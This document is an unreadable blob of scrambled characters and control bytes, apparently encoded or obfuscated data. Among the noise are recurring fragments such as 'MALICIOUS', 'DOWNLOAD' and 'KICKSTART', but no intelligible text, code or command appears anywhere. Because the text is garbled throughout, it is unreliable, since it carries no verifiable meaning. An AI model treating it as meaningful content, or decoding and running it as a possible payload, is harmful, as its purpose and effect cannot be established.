AYi33CA)CTsCM:+9IJ1,#*BZOk{}Jfw@M/nRImE#8jkgMf~ffhm@}b,KXE& 1GI/6Yw8[m.$ jFIo^a`jCzGf	Ghe`GyRUdNIdAWLm .@NAc@SjOCiAvHUyA=AW/$OKT[F[OIe{l^C@h# 4IH 	+HGNf~gehm@}b
5KXE& 1GI=	uOE{A &aW91 +F[^]a`ja nGP!
CTRUW+
,Eehm@}=xfdHblAdRT0:+GQ#BT',cM$"L~Scja@z3e}Dhcj`fQ6OHcFAcOYN	aP2lUMdH[dFMgF~@RwON &[m$ECL\SHI~If{lsHtS	 =>[}*Cz HiP    mKAHe}JgCoP#tL=HA`a~k]^ieROw)+n=>cO_SU+/B
-T' ( E0 &y5-H;S9"GS>1!T"E!9C	;&(fIIcO_S 
#
WNL=4eMkK%=$i%6%	 HA`A{Y[FADSGT8H]n+"  6UlA//
O--~fXO-- !OTc(#F
2t8%(I/c$Hz_n meUYvelKDNO]N&? D(%$K % * i5$kN^{b
( 8I" &  + %"9"H,:
)L(((+74 %CL{.  OP"!/
=2 
&,(SvI86H~k{1  4H/  $I2+*

	IMC}=xfd%,7\d?,89N ;H(kT+
2NJSCzG@[m(  #
U+ 
Ni4 KblA	-Y}*01-=kTCA ',$AJSCyGf[bA#O<O*0Okm@#
ME.4
*
i1
U1 H;l@Xaz}E*_[9. +G]vkf`jF@U58c6O 
  (*O( hhMcGI=0XiTiUTS/'By}h	~Jf{2
%:fH7" C S6-A,
Wi' JhPookhM7'F?$U~]ayCzBFLK5c 4I;S:mOy 	2
Ydef+!?
iL#=O+
"7U1T5
 .I 1
ULlbcjam '2"CTOQ1n_1?
( 3 
>$

Ie}JfJ6HY]hg)xHZZryA`jTISP0#8ACzG~Dhe>*]d"*L	
-T'R-E'5
M:>#tS=.IREqW9wC!n	?IS?&FGe}gefE!5_Q$ 6G5;1cU' AT!6*%%5-;0. &!?&7< (SaAKHYS~RjHUNe~ge<(R	- ^hhM~Ifd-;	\''-AD-R*#H/;aA 7OP'FBd	 I@=/BS'LLKZNe}J@Bi4<wt '?y}hV*RXw	-[j$AWCU@pTIhg-	WFHiU{RH'*BLhhM~JfdfIy!#AT8(S/'ibz}6?0@N*?"m 
 S*- 1IETkm@}b2F[,E-
#[T$ =cN&9!+(<"#;!);   %08/+NOIH8HYcFcF^Ufehm@#/K!T~JfClPfZxA<5I'k A"w=Df}i		*<7	1%O\D<6iLBNA""Em1z_xH[Z`HA`jO 10 9HiSnOTm\LM+0&	0( EIegHbJJB3!c-F)$N <I'<C-Ow ,n9 LAR]O
-
jkgMK0=fROM|K  GP7:Kg	{A_@}Scz@W#>7RXw	*fH7  F,7 l7+C9
*/
BcCTg'9=6HU~^a`\fS  c 6I=n!AI8O&A!defE,6RRMallkF7-<<HUwANTtHINwSo
_~h{}d0DHiSnOTmALICTQUW1
' 	HC}O{H  
EAdOTcOMiFyOUj_NP<,/F)  B
Dcja@T#"KICIOUSyOUcANyQWJ
  , 0B+SCg@oPH>;nSkICKSTAOJcK 67-:/jH(_Sf|JF*:"$LEX\A`";9=6:I:3l4Oaz}hU,2:4
SmALT]IK81>
%5K3a/CgHblB/4	(8HUwANTtUWSnTgcjb.Okx}J@]EH(* $I=
c0}geK: 
&E_A`";95
0TyHXJryB`G
RTcOREwHTCOnHDe}D O]W+
7>!O_Dq]L{fKbllMNd="M=<O/t.#I 1
R9I3Df}DE	&>OUcASd	I@=/BS'IEVHe}JfI+7+# NTtHINi9[P0BL'DIQAryGf}i'=
c\N1IC?#)LIEF-0"`]Sf|^E:iSkICKNTE7-2	T"
*N>IBUAbeJhg`0'2O@|KSEIA`-!]Se|^h=
i[o2je{l^cja@z-(AN5].)l_);Q_G_NUkm@}O{K . '  "OMiFyOUw\N&aW?
^JXcK 9AryGf}DhH
0- 
NLOAYi(*CB0=~CUs1* ?JPy}h{}JK :2D&/$,D4OHS}1+<$
  ,U5
	50STg@oPf|5?Scy@zB` 
 AP(;[39/]Y?yBDCVcj`f|z}1,-3ADiTfROMaKEEBAyO1
-N}>CJ2ESm.]Zx~Jf{l^GFC''7O(I So[X!d
:T)O=	;olkhMf%OE.	0<51'2,SwNkQJaz}h{}8e{l^a`jL$<
15++OUcANdOWNLRA''Ef;)&,v?81-TgIG0-+6ARia@zGf}i		*8F*
F9iTfOOI, '0
-+4R"9: .D6H~h{}Jf{A?;,* ,:K
 TOUcANyOS!1 4'  9F' 3:<R
Zd}]a`z@W?(S,2:4
SAQIG 1 &!4F')$ FT~Jfd@oPK2/s9.d2REwUIG&+*9!H,6
	F9r~O{fdHookhMf}!(be^hg}0<?Sibz}h{P.   '	=nRT+	AK0X}hOS	!]}xfdHblA*TcOMiFyO[jAJ,,IMKW0"EyHM;	 Xcf|zPf1/T}gefn@};xedHEJE6
70,>w_ND}b`z2yB`jOTmRR%@m&`_
OIK**/ #GWehm4~O{
2olkNf}JK<2O[jAISob`z4yA`jD\T  "_8E,:O"Sf|%!LGE,6RaO AyQTg%<F^h~]a`W="NU5
: 6,(/BJ6EOHS}/e~gekm@#
ME)!&M--OpHU~]a+,$[S-$EwHICHiSnOTmALSCNO[S}"60`OL{f	$	/#GS&yOUwANTtHISiSkIYKTTORP+
26	=H,D4FNyPf&#"	DH,'4ROMaKEEBAdOTcOMsF~O[wE5*0T1H/Llb`j,;9>DN% S:  -NdOWNLOADiNfUOCaO !+'(=~"S	ARy@z/9\d:8: +T>CIOOS~O[cE!0=U"FFOIfd-;	\s+9.T&OREwHSCOi]nK( 684R >
P3ETkm@#
ME5+/O=(-UwANTtHISsSlIMK[7GV2	/F%+d<GdPWJ
  , 0B%$":AOOwF_S}ARyCzBMLL6  99=<(	(LTC)	5]g-ZP
H_C~O{K)H\%
-*<#	NItXRyCzBR 1^]aib@\dE~DAFI <c%O: faA)
 + 	i6O2 
T  S/'CIfRO]aIIH	+?LU'+cdi .O( E 7O6,*	 ;MN5i-IS 1O4-S!T:L=O-N+	W	?L{OGnal0
7
	i ,#t-5"#kFxl,b`jGfS	T9		I 7U3 0OL ;Xf" B+O +
M'!U'  t( .cjbAZP7zV -5f8E@i`fyPf|'1:GF%;.aA 2xO &0wT:i"LZOk{}JK>D],:)!D@Xcf|Se|JE,CR;(?3*!T~O=5]s'EW9Zpcibz$"J;	- T+ C8 1UdO@=/BS"0?1#<;
*MN2=S0MLL6  99=<(	(KJRe|zv@Ud
L&#R*5B%!1=6U?b`zm "
T~O2	KL='YsECZFNySf|g-ZP
'
aKEEBAdOTcOMtF7
w :[bRibzP0BL>+(+Ys)OHcQUNe~gC@A'!%O(6
~Jf/FqK>  iRvID!#2F[~Jf	o^a`
i[j$AW
*:5q6Gme~gekm@}O]@MB-ci 0$	oH"kTS0O2H=S!Ghe`jM
7'(
WSLK kL9#lFOIed@oPwIOP3=,?/
TGTTg$EW= : (IEIBTRUT) 7*H^defhm2~O{fdH 	k;7F-:i;KTfR8I	;nLQ)F@IG tQ1-"?m .@*$"4%<NKnHN[< ]F^Tg$EW ;+  -+F\xkdMf~geK kL5.l.?
=\c%  2@cz@zB`jL::738
+-#$,< 2
*&.*/0,;*)=:dMdMf~gefE!5_Q374I=0Xi&9- )cPHEp@'9]jMf`j`f|z}*Cz
4!,	 NkMf}Jfdn)R{kg}]a`znlcjbz}h[]xexl^a`j,;mTzPf|>kdMf~g	ALhP2lU'.G",Ope|^hg^a`z@z/9\d&6 H/"
T>y%!O Oi47E +7
,~FN]hg}]aM!8D] $ ,Z$<sI=$Kcf|zPf|d( .;'(0'-1:*,.7BNkMf}Jfdm1z_&=#*%oe{l^a`jL='Ys#87
Bffhm@}OU LIokhMf}JHnlPf|^hG]obcz@zB`T%2Scja@z3e~Dhe`LFO"~c7W!"xfdHb 6T%:be|^h~]a`% .cjbzk{}JfV4-SsO ?	Ricf|zPcI/) sN!Ef 	07A,,[> &;9DGS &F[o^a`jCzGf}D	"qH<-(N
i*a 0&TM%,? t ;8
Sc
4I./?L +H\xkgMf~gH,#OPaJA
7BJ+
;*4'1 -9%  \jTxo^a`ja nGUi
ZSf|Jhg?e~gefhmm/5 B\dH>)JrlPf|^h~]a`z@'az}h{}8e{l^a`j,;9>DN+* N"	OD'
M8(	T% i1
U>:i9]SHI~Jf{l^cja@z3e~Dhe`
O]W*& F}gefhC}O{fdnDE1
7O0O&yU1t
*jI7T  + wC&<9Of`j`f|< $,#GP'  f$K	/O*(,pHU~^a`z@z"CC kK>D]	;&(-@OKShFJhgMfdefhm@}b2F[,E-
#[T$ =ccjbz}h{}d&<3$ '7:*+$--&;08&;< <H[defhm@}OV(H[6-=(-! :xb`z@zB`jOY}%8(: +	Ocf|zPf|JF4PBffhm@}O{HfallkhMf]jTgCoPf|^h i*H~h{}Jfo]a`ja@W:>LR*6]*:!TV 2GJ%3$.( 02
#(..13IXtL  fW   ;_nK %D]
< 0 
M`OLxfdHbl1c	%<T^hg})b`z@A`jy}h][c;$HC"2n*9C+2AU'
L	i#3Eookh`'=);NIt:pcibz[NR&&E;!S!	T%.IU?O+NA4( .R+5
olkE(
$+.AST!*cN	*J! :4
SaA
]W-0LP"[NXFH_C}O]@MB,
T3!F=6kg}=I[m.+  ")B'	 	+H)m_LYJcf|Sf|JE-NQO,"ZK)H\4CTg'-*6-3N(#
S<[OIf{]a`:Df}6ke`jM	<OHcFIe~gekm@[iR'/	 B-c'40kg}p!,*SIA/^]a`
i['+,AK0X}**:]fTIMi
lK +dX+
62= `SuISBZ~h{If{l>IK	;/+&6*GQ%!CWJdJ4,#7F]Ifd@Sf|^hJ=SiSkICVSP0BL2"
E
 2NyPf|JE7=  iIf$Polkh9e}JgCoP@Zw)0S-9 R&>ia@W'0$>yRU% 7
Ldefi\/03JE00BS;72%'AIUoSc
 IV +Hi	$
>HLWCYF\yPfIhgMND(
7G*(<GQ1}DIW="NU&+$A@ia@z5e}DheM SyOUcANdOJN$\b2F[%:==9 |L%b4OKT[F[TmOUJpHGC
( + DM Zbe|Jhg`<	 	,fROM|Ke}Jfdm*+%35iNkOk{}Jxl^cia@\aO&( IU8&A,
W 
i'M1*e}JK # NTtHTS/.CW 	nQ{HXWAryGfP%0-U~A*GF'=6@."7,B6${>*&	N$&pDIG
 9 ERi`fZ\y="N%N

&(R5
olkE6
7-=*OHwE:9(S -N>HdSf]EmJLM101=4P	 #U2Dzaolk"O\g:2NJtX@y@z0cjbz[NR'7 w )O %LS?/Nf~g,TnV2'7OJ~OY`lPf|,kg}]aM19<6HICHiSsO?KM*BK%Bd[^Uffhm@P#
 4 !TcOMiFyOUwAST!*cN 6J!=iCTi081>
%GWehm@}b 
5)dOTcOMiFyOUwANYiH]HCzB`jO 38O%  %F1INTOAHSe|Jhg-	WFH
;
%>E!7JFgOE~kg}]ay@zB`jcGV /7!/?:K
,d<GNf~gefn@}O{fd"
 BSqYNIfd@oPf|xNN2=S$/ A.
6ia@zGf}DE yOUcANdOWNLOADiTfROMaVE%\g tQ'MNP1(,#:U&?O4JSCzGf}DheM1 0ANdOWNLOADiTfROMaKEH_A`
7<25S8=l4Xaz}h{}JfV>(>TmALICIOUSyOUcANdOJN*nU9 . HXc+-]s0	eS{EC_Z]Zx}Jf{l^aM%- LICIOUSyOUcANdOWNLO\Dm /
5
:c' =H(lkg}]a`z@W?
^J&'3NV=#
9 CTOQ0 )
Ldefhm@}O  ^ohhMf}Jf(<O@fST~]a`z@zBM cOREwHICHiSnOTmALICTO<kE,CR	HiP#
 4 !/d'-R
HU~]a`z@zBM  # &REwHICHiSnOTmALICDRUW<1 1,

	:C%(f6^ohhMf}JfdfIy ;N1,S$C]GY c$i(O$1f`j`f|zPcI>?('";>7 .RQPaSLokhMf}JfCoPf|^hg}p 	, kICKSTARTcOREwHICHiSnRT8 GR#:-N>1	FHiP$	 LYkMf}Jfd@o}6((l
d2REwUIG 	+/j N2NyPf|JhgMfS	;+"L)*n;yRUs12T<(T)Zx}Jf{l^aia@zGf}DTyPf|Jhg 
^C}O{fdHbJJB4*,i 0
3kg}]a`z@W! STARTcRR%@m&`_
OIK-	%7H'2H0hPolkhMf}JK,--#TyUIW,?4 14U	2 n.ue}Dhe`j`8NIhgMf~ffhm@	LxfdHookhMcGI;*7.tVIC`yB`jy}h{}g<HTC;/\i DQuOQ10-	H_C}O{gHbohhMK,;*8:$INiW#>7)B4, =#F1Ricf|\vO%,(L	i#/K =e}JK!*BK1,fWARTcOREwHTCL/"
OGheM^g	/&!B_&6 
2EBAyOP+
-+06/s9 "L.Ok{}g$EW%
)D]4&!WSLK	(# 0	 >E*. <H(lkd}]=#IKO 10#	2D0+H)dke`cf|z:&A^~e~gefE!5_Q( -  
nQ0<OHwF
&ORy@zB`
I~If{l4	HxIDf}DhH XM?&)%AQ9fOOJ'	 EZNf}Jf;8N]kg}] ,SySibz}hV +Hi /?LR
UNyH*cT}gefh;'TgHbohhM*!FqK81&Z~h{If{l4	HyIDf}DhH XM?&)%AQ$4(E_Ac-
JrlPf|^5Ry@zB
TPH~Jf{ls
dM(()	XM: 37O\Dn<Jzallkh&"VCoPf6TfRcz@zBMLL*-2	dM- =	  SdOR!4]PUffhm@4zallkNf}g tQ><1	;^u,EjHM(++) 8N4RZdNf~ACO''f%F
 O",y	;~]a i[c kK>D] +',	NW	<FU~\NfAUGLDa'
  MF,nQ 
<'6yV%bI^VSVO\VjFxl^cja@W'6,/yRU7!T}gekn@}i]O,-
E=O ,O =O6 0H%8I
 T*R;	H* 	*  yPf%AFlI@=/BS2 $(
jOSiVpOSqAFUp!,*Z]k{}8e{l^C@ ? AG tQ*

	LZ/*CMeLz*+ 
<\~kg}]cz@zBM
1')	2HTC;+T~Dhei`fySf|lNN	W	O	?fO  A"&CM%-Hw$H CzB K[P6" 3. `yGfGhe` kF=/D/*OJaEEA	-Y}	%
3Yj ,Zpcjbz[NR5'4I ,S((A
uO(4	L
* *O)E!O%O!y:'i*az}hV&
	2CUiW:>LR

=81LP' 
,}xfdHdGP0
"
<	w_ND}b`z@A`jbz[NR1-2H	=S9
T. I
S)7A6
A(2R4!~Jfd@B:tUI3/'	IV +Hi	   +#>7M^g 1*'/$# 2Dzallkh`1?:FyRU8AW="NUHI~Jf{ls;,%OImE:yBUg6?Wehm@}/OEe1!T}OI:<2]^a`z@A`jbz}E-< <HTCL:+(Ri`f|z$e|Jhg		I@=/BS'IEF%'&
eF
*0>-!ARy@zB`G
%RHjHM 	' +
vke`j`SqK&(
Eehm@}=xfdHblA	-Y}12IGO^a`z@A`jb~k{}JK>D]<<
91&	 <U~A." GE!5_Q1B^okhMK +dX+ 1HISiSkICKSIA3?<&$-6''6ue~Dhey6UNf~fehmf[f 
 . E	!O&?	?MN2H0yB`G_J% ;^p	!LTCM*BK1+>	Lm .@	)!&@w 0~Zd~]aF\i?*K &O
w,*OmIS-c(

km@ RGL$I`*@w=%6]tNOShW"'&.
L]a`b@zGK %D]
'iQ 
AYiP2lU1%cAMm1z_8!(.NUOIf{]b`jGfS	
 mC*7
dO$L{fI3!?1i[y.>  ;Is.KL7 y9]<
9 ~CU% 7
^Ufehm fZNI5O_)7< qF\]hg^a`z kAG_J% ;^p=LT^IH5
RjkgMfdefhmf[f 

4B-xO:y2A'&kR ,O8i:T+ yPf|JdGS	; 2BolkhM~Jfd@o}>CJ2*^J/)	2HTia@zGf}i DQ*%1
LZ9)
2-	%kK!*BK1,fWMRP7zV
,;+(AW*,mT}gefhC}O{f- okhMfIfd@oPK?Yj ,;.Y_ "4;I^Hm&`_?:*$ !BI : /
 JE00BS/5
=2 
&EW .@Xaz}h{	If{l*b`ja,=
+ADM^g	/&!B_0#RRPaLFme}JfCoPf|stUIW="NU<& %EW%ue~Dhe`LFO1+
7=TWD*#aokhMf%OEm<8$1 `yB`jb~h{}JfV?NV9=$?,tQ10
3=<5iOMdK +dX?2)0^w. 0FIo^a`jCzGf}(i`f|z"e|JhgMKLZ95?. *
Y},-
1><7  .AGMRDtZGLlb`ja@De}DheM^g0>6 +
,Yx"$(
"a,~Zd}]ay@zB~h{}8e{l^aFLH
##
WIO-O,i
C}O{fI5O_4 7?&>Yj*8%&G;@Xb@zG~Ghe`G tQ10
3
&?ZFVKblhkMf[lO%,=
wT&CzBMLL6!6CUi20' 8,<!*47=NIkgMKLZ-2= ) 0T~O]rlSf|%&I;.Rib~k{1  4H/  $I* '(
?%3CLokNf}g=FyOUw\N5ryB`G7;OOE1	ryDf}:	IGTW+
cGHdNS!2oxfd:allkE00BS*+9>&&/ .CVS4/ZA#  Ew>FOGke`j 	U[}*Cz+#)I;#[FgHblhhMf}g tQ22=[`HA`jb~k{}JEL:^p.*ApFJhg?e~gefE<*7 +aVE!T~Jfd@6>ob`z@Acjbz[NR&&EbY[(
CzGfP.	IOUSyRU%%_JdJ CMtYQWZYmT~Jfdm00HTS$ZP <DIDP+:H]vke`jF@Q6U~A0GE!(CMf!5#EHe}JfI9	*OHw+'& cM 
^Td%"#pDISDiTv9FERicf|z0	UkE+WOQRA(5FgHblhhMf}l@My	"
T=Hy@zB`G_J  23	;	>IHTOQ6UhA]e~gef!:#GI5O_"XcK!*BK41#(?& ^T*7.;,7AryGf}DEIRU+xkgMf
defh%#xfdHolkhM@[c!=F 
w:IIayB`jbW 	nQ%<;+IRU3?/F`B_9]}xfdHolkNe}J=+Us ob`CyBFIAy}AXT #C!n?U1c(
W:T2edaAJok6  &,y	 9;I;*/ ,M~b`b@z'	TeE
BK,
4G^GffhC}O{5B6xed@Se|^NATI,S%S R1
2HC + "Vi`fyG.=GSIw/
%$
 Lz"+ 
<F\]hg^a`zm# FM
2D],")!LTCM*BK%!'
Iw/
VKblhkMfP/=55?AST'98AG_J% ;^p,* CUTvH\xkgMK! 	,TfRRM2lK +dX?2)0^w.-^TsCRA;	;%=]vke`G
*OUcANyOSIw*?$

.:6w^NP    dM- ; 1BL2
:!m[LYT\ZNyPfQ* +NLOAYi545X[#
 kH 26Z'9]" ,B{H:gO1AH XM0<$6
*=4GI%+!FOIed@?O]E=DM983$*Hi	=
qK* %BLK;5[OP|K!FTeIMaG}9}Acz@A`jbW 	nQ #-;[$ (SY7kF-:;*";>'1&*2"7BNA`1!$pFN]kg}]<%I
I~Jfo^a,yGfGhe` 7O1e~gehC~O]EGKbEOB"+1
,F:$t =S>KT.
8Ii< (I S="ONWD:2RK46!O ,O,9
;4$10<(!2Ik{TiOpI'=)A

 0c!O 
A ( '\edaAolBKd/&;y8N &S k-R?I%n9 LO:01[N
,T/O/K 6O ;<^AD[^a&.
T 
9H*=2$	-]ZSfIhg7ALm .@	)!&@w ~kg}/b`z@*KT Sye{l^a< OP9	NW:
054
3GH_C}O{f3YkNf}J:yH>Snb`z@z9AV +Hi, =;=  G\HSf|Jh6
Wekm@}%aLcU~Jfd@.4	N\p:^u
<&_[4, =#Hf`j`fyPf|Jh%NK
,S|xfdHbll0-OI=0Xi7 
;%4,2aZue}Dhe`j2TIhgMf~Dn<J{allkhM0
Mn#eFT~]a`z@z9AV +Hi, =;=* ,)0 <L`OL{fdHbl%OIed@oP^hg}6"HAcjbz6_]a`ja-, AD<6c(
WDnThRK)H\-
-+BK#}Scz@zBZx}Jxl*bcjGcYDfTgA<

 y&A-Ni RM% +c
= e|wKd}tBI3;?SIfROxb` /m y,7#
%;\oxfKblJMA && O91I'S?K9$ R,O
#H,S((ACU1
&6
W	Hi)
M1
7$O!y
#~]aM!8D]27
RXw)"<;2*+	 8(1,.1HSe|J0 L,OL{gKbJOHkMO^c?&<wt ,S/
SRc<H;
DfTgkeIII/--A+ deOKKC}6   E* * i+ 2 -?  AJazk{}g3*:SnOImQWcj`K
'#0
NQOQ_C}OV''7OTcRMm1z_8!(.NU& 3Scjam/mALICIOUNyHRxkdMf DaP*	 AzODjed@Sf|^E
?KSTARIcGV	2!==OJmE
BK1(2>
^NSOE!5_Q)1>
TyOI%?7.ob`z@W&
ARTcOREwHI^Hm&`_
]W-0LP"[NH6,"0$L^hhMfP1
%
 =6, StS*&ZA:(Zue}DhHUSyOUcANdOWNBRA@$"zallkE(
7-=*OUwANTtETSm.
& $Scia@z'	TeE!<!WRLK'-5LhhMfIfd@ov@U N1	S%8CR& $Ii$&Km%C
U0U/%W+#)^n@}O{aCA
7BJ*( q"GTrNIRm# FM7;G;JACzGf}6ke`j`fZ\y6"@d#KA&T2O)E0O*CoPf|^E=DM'3%I[OIf{l^cja@z+(ke`j`zPf|J&#IC"R a
d	/
M+? 2A5 .S*KT4wC&+O,C
wO!+N%D f 3B6O 1*-
yFGO^a`z@zdFC%\TE6
?nmyPf|JhJ0AQ=14  i*.10UNGJ4063<!<620 5.T]HI~If{l^a< O,Xcf|zPJhg9e~gekm@P /
 B\d0
aB-$LP=;,/FM ~HVCL='Ys!
<X}%1 
A^iP2lU
'
dX?2Zd~]a i[jMLL66<KA`yGfGhe`LFO! O,A!	O 
i>(E(
T,M-+
#t
S=.I
A.
xl^a Ha' ]W?&)
^Gffhm2~O{fd	/GP%,8~Zd}]a`3;/ CW- ~Scja@De}DhCFC;
/
U"d
.T5)allk"O\0:+GQ1:	eSfXJKNIAU[dFxl^aia@zGK$	
UNy !6GS
(#^O]mKHTKZNf}Jg@oP@Zw"5S=.IcBR
9C& =!L
y?=A+OD# 
J2K
B1,i,#Ati59C,^E$Ii! =
CS0U37	O	;fHGgHbl%)-Em8{AJ=(.@Xaz}x~JfV?NV; < ,	I^I.>,
;4$1 .#/>*  r~L{f$A0&TMfIy!w  S kScw	=*N~Dfcj8c*A;% $(
!-$+
$
\}b`CzBFLK&3$C +T,	Iy,7
LD:'M"	hO ,O?	0U#; CzB K[\E*_[3	:,*##CTRUCpOSeAO`B_	<2!1CLLhhM~JfdfIy-1t*8
T&O#	EC' ;m	 6c !O
	=L{fdeLz7,;<=&8AG_J% ;^p	!ERicf|z:"0	aP2lU
'
dX?2HU~]ayCzBFLK<T7E8=S((ke`
O]R}*Cz<
9\o[edHolkh`- ,Fde|^hg5.=9YQZS($g +=O+1IhO Mi:RK)H\7&- ,2&AW="NU<& %EW%gT~Ghe`
O]W-0LP >
  (aVXERHNf}Jg@oPfQ8$HTS	$[P0BL>+(+Ys	/uOR4FGe~gekm@}#KbllkMf}JK<?UjA.;aW?
^J&'3NV;/2$	ECNRZbe|JhNe~ge@ND
(Radc,F?2^d}]a i[cMRI~RR6AiUhO\lEZpe|JhNf~ge@NDf.E
1&g@oPf2[n0$ST42HH&:9A
 H\HSf|JhJ0AQ=14  i*.10UN0 -	]p"!!,''$ 7.,2(>1dCRA#  Ew'BK<!F^Ufehm@}43E7
OIfd@Sf|*kd}]GFS.CA/
R6C	'
n9 @IO5PJh"O_JdJ 	iQ,;*3ASItX@y@z0cjbz[NR:,O;I	=oe}DhCANQ1n_1=L`T`TO24 1&GI&-	~Hd}]ay@zB`#kK#JSCzGf	Gke`jM*BK1 	O\D?!;,.:!#5=1+VClPf|%&I;.Ribz	kx}J@]E,-
T9LO6/A-ffh@=+M|K$.$ '1Ws<!>|ARyCzBM! 6:wUISSCzGK(+
SyOHcE,CR	,<#3F[40-FtOQ#	yV=? +Txo^aFLH!T:	I+
R0A
%N A,"R%K #T7 ,F- U3N b`z>"K[\E%0#CViCgORkADM tQ&:-"		L`TxR_DhallkMf}g87.tHISiSkICKNTIV&	'.HwSj$AW 
&HN{OSIw. B[dK&	-
lkg}]L=kICKSTARTcOREwHICUiW:>LR[}*Cz	BLK'-5LYkMf}g(
5'2 
6- iSkICKNT 70@m/dZf`j`K?7:7OWNLOADiTfRO@|KA (
-$ $Zd}]aM!8D]   "> 9HbNnK(  ;
&UNe~geDaP4-7  &MuF}:ZA`jb~h{}J@]E I(n>LU< &!VN;[i0/O$KA( "M)P^hg}=I[m# FM7;G"@CNoSoK %D] 0<G"!F^defhm2~O{fdHDJE;%Zc#=A*O8Ati.K~Jf{l^L:^p5* G\HSf|JhNf~ge
,~O{fd:allkhM@[c!9wO!?N&?k K 3xl^a`j,;9>DN-U7  $	N LD/*AM E'5
M y" S&k
ZdFIo^a`jam&`_,+G45<MT3GF!&1 ?>51= ,<
9(nOpT]hg}]a=9COIf{l^cja@De}DhCANQ1n_1=L`]L{fd:allkh-	Tk<"|L=;@Jaz}h{If{l^a);:
\iCUW="HUNf~gekm@};xfd<aolkNkO7/ ,F-w1H ?az}TkNV?NV$='&AJ@e|z"e|Jh"O_0:3 iO
4F]Ifd@Sf|^h.7 ,[oHI~Jf{]a`bCzG@[m6C yU3i	 i'M.ZhhMcGI%?7.tVIC`yB`az}hV +Hi;=:
TpA-"<:;4'015/e~gehm,5edHolkhk@TLi1<O"T2:.Baz}hV +Hi;=:
TmALICIRU20& :03/8.3!0}xfdHOiQ"892	 <HTSyHA`jy~h{&9H,HDf	Gke <O60 L*5;1# 3:<&>1@@y@A`jTISP7zV= %eHEcj`zPfZlA,!		O&#/E!O"eF<"T$  8  T  c &CzGfP9	NW 10? (GI5O_"&'(<Xi1ARyCzB`  "4 KL='Ys!
<X}(
^Ufehm@[iR $E
d 7=F?2kg}]L=;I^K3-GV?NV/"
<( DQ83*hOPKFZnC}O{@Ba(B!O1,F- U#	T2vyB`jO&OOo^a`j)5/ "SY
[~ 
0B<h.  +dCM/5~AtL  fW
:&6%
;
fK %D]
'iQ 
H_C~O{f'KMMF13OPt[y	;]tNOSaRo []If{l,b`ja@\aO5#A	U: 1 e~gef+!?
iL&
 O,M>0wT;<k
SHI~Jf{ls
dM=
 A.>'<y[4 	IC
;>+#427+502
#(nJyK?Yj ,;.Y_ "4;@JSCyGf}D	U8&ZdMf~ffhC~O{@Ba/
 A0c	%y!N:I(*EC
T |e{l>IKL='Ys!
<X}) iI{R_DKblhhMf[lO#&F?2A
 	Hy@zB K[UE*_[:;">G]dke`je|zPf%AF-(	;#ZK4KHNf}JfCoPf|^!8aW$]Zx}Jf{]a`jCzGfP9	NW 
7NyO6%3<5%16.9 9 $&ZNe}Jf,,w1Scz@Acjb\[A!. w;=)A
 U+
U3'
	A:T'R. ^B!O"J=F= U4	?H&.k{}g	HtSj$AW
qK+iQ@OE!5_Q( -  
nQ&)$}Scz@# S\ 70@m	'0,@CUOQ1n_-&	;Yx  1  F~JfCoPfZxA+0Hi$
Sc8C,**AI8CU!d	O;f) B% 0Pg@oPwIJ <^w8,,-[ jOTCwIM   cQ>$#/K <F\IhgM}gefhKfToK7 d	,M=<O2T2CzB`jOY}#. aZue}DheM %NyOSIw/
%$
 Lz.,*
wLN? ,[P~Scja@zj=%IOUSwRUg-ZP
-\b2F[MdK::95
#HU~]a`CzB` k{}Jxl^a`+)"*IK,Oy  d		O/4O$
d/O	(8O>T:I&.I
 R&	Kw<H(-;L I+7A6O="\HDzallkh`*@w<0%|)"',?SY4[S$ &,=7=977!'=$K@JRezPf|11N
,OL{fd<allkNf}*	MaB-$LP=;,/FM1
>CUtSi$K@i`fyPf|g >* DtT!'I`3+=pT^h~]a:"CCW 	nQ;!	-<BJ.6U~\Nc]FMC}O	edHbA-0"i[y39: cM0 jTxl^cja<=
 eE -pTIhgk@W9i )R$Kje}JiNxK?Yj =   CZTGTT*-2*fK8
J@e|z"e|Jh."
I@&2AaO4+7AiB-$LP=;,/FM.  $AryGf}
]W6%Ge~gehm<5Ee  "FVClPfQ#	yV' ?SIA3?<&$-6')2*5	Zfcj`,c1
LdekC~iXEgaAE$	!c=:6]ADTI22Dc ?H,:.I+:A+W$<.MD$R%K?,2A%+,SO_]ADT",CKS ,owBI#&7*	I 07AF'FE^\WLVyFsR!"
	d$Zc+& ';I\i2 	T-IOXE  ' +OTm&"<C.
+c1&L#,5O$d\Xc i
8%kN^{bc\cYAIIK)=1R1!I=/ $I  SO_IADd< 
A!f$K d1&y w;'$t	i9(C
A.%C=; 8	CAT*O.=OO;jxOGa	 O,i8wt%%GS&R>i/mC U617 O 
-T"$E4'eMcF;6T0	i$C	R,2
'ZnmI<O,A1D?"?5c-F:9T  yiYk
R&9I= `O&(
U6cZGNO]Af:f3$8/

2
&=i!9T#<((
+"5Ixl'*Sj
='7<10 NQO%#IegH
''O<:8N1	2;# ; 1G[o^cja-, AD98-N0 W	D(%$K !SjTg@ov@U =	3k
R"E6CzGK %D]0 
* DtT(M2& 7\jTgCoP@Zw.:H,S- T7e{l3 )GS	
U1
U%7WC`OL{fI5O_*
7)%qFN]kg}{GI5('IT&5C +~DhCAK0X}dRJSL	 :oxfd:allk!$".N~;2A&S99C T c3	nZue~Dhey	/e~gekm@[iR);E	!c	;F-w&I/S* \~Jf 5..[i)7I 
0c6O,T5 FmT~Ifdm038 tUIW="NU6/%I7cj`f:]d7IhOG\WQS}sBFAaDJE/(n;y5<kg}]"[l?DGSDADp_FbX@OHf\n"!DS&%cI(`~O{f ME7cCTs]}Vj[bQGTtGFS%SIf{8{H]JSCyGf+ADHG56'HdMfdefh ,3"&CB&*  c	'yU! 0H*"K 7  wC!n	?IR[W>y c!OD94O( BKZNe}JfI=0Xi ;[
"7 [H3#AD-!&:   '6.'0&#>"!0I@OF a^OJ;LLLYkNf}J=+U1 1Scz@AcjbM$
=fH2$	I -&A+
@O:2 aNBNA"/Em1z_}A@HCyB`LDS&cR8

%n!U 0"6
}geK.6/8KEXB6
'GI=0XiXt\@HCzBM 0"EjH(%GSDEOQ 07*6^Ufehmf[f  -K
dcny#AT9 *K5
xl^C@m+((4R 0RASyOG\[QW}sBFgHbokhM!
>GR	T5
 .I
ST.>nZue}Dh
]W-0LP"[NA[MD190.9L^hhM~Jf%<e|^d}]a+,$[S5c ?H  n!RZbe|JdNf~J $' >(E_Ae}Jf]1Va_Bc[DxHF\i>>^   c5;5]a`jX1@~\DyYYOI@ZS7C4L5(4i\'3HNf}J_yRi\A5T^TtGFS%SIf{8lb`j/SfN#>]W1
' 7H.S^OI,	1% 
